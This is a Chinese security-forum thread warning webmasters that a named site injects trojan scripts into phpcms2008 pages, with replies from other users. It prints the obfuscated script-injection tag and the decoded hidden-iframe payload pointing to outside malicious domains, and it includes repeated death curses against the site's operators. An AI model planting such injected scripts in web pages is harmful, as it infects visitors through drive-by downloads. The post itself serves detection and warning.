瑞星卡卡安全论坛

http://jysmx.com/这个网站是专门给人放木马的，搞这个网站的人，全家今年要死绝。

专门把这个放入phpcms2008别人的网站的网页底部
<script src=http://%6A%79%73%6D%78%2E%63%6F%6D/%69%6D%67/%78%78%2Egif></script>
这个转换成原代码是这个：document.write ('<script type="text/javascript" src="'">"/></a></noscript>');
这个网站的人全家要死绝。


如果在你的网站的每个网页的底部都个一串这样类似的代码，那个你中了：
<script src=http://%6A%79%73%6D%78%2E%63%6F%6D/%69%6D%67/%78%78%2Egif></script>

把其中的http://%6A%79%73%6D%78%2E%63%6F%6D/%69%6D%67/%78%78%2Egif复制输入浏览器的框中回车，就会显示出原来的域名，例如上面这段，在浏览器中显示http://jysmx.com/img/xx.gif，点击右键，查看源代码，源码就是document.write("<iframe src=http://mggg07.cn/360/a77.htm width=50 height=0></iframe>")
document.write ('<script type="text/javascript" src="'">"/></a></noscript>');

这就是全家要死绝的人放置的木马的代码了。

下一步要做的事，就要到各大网站宣传，这个http://jysmx.com网站，办这个网站的人全家要死绝。

用户系统信息：Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; GTB5; .NET CLR 2.0.50727; CIBA; InfoPath.1; MAXTHON 2.0)

那个。。。那个啥。。。注意下言行LZ:default21:

真的吗,我不敢看这个网站

咋的没看出网马:default2:

恩楼主jsp有两把刷子..

楼主要大家警惕这个网站也要把这个网站的网址给修改下，比如http写成h**p比较好一点，你直接把网址弄上来岂不是让一些网民误点进去步您后尘:default2: :default2: :default2:

楼主这句<script src=http://%6A%79%73%6D%78%2E%63%6F%6D/%69%6D%67/%78%78%2Egif
是挂马网址
但是楼主能否把http://jysmx.com解来看一次，谢谢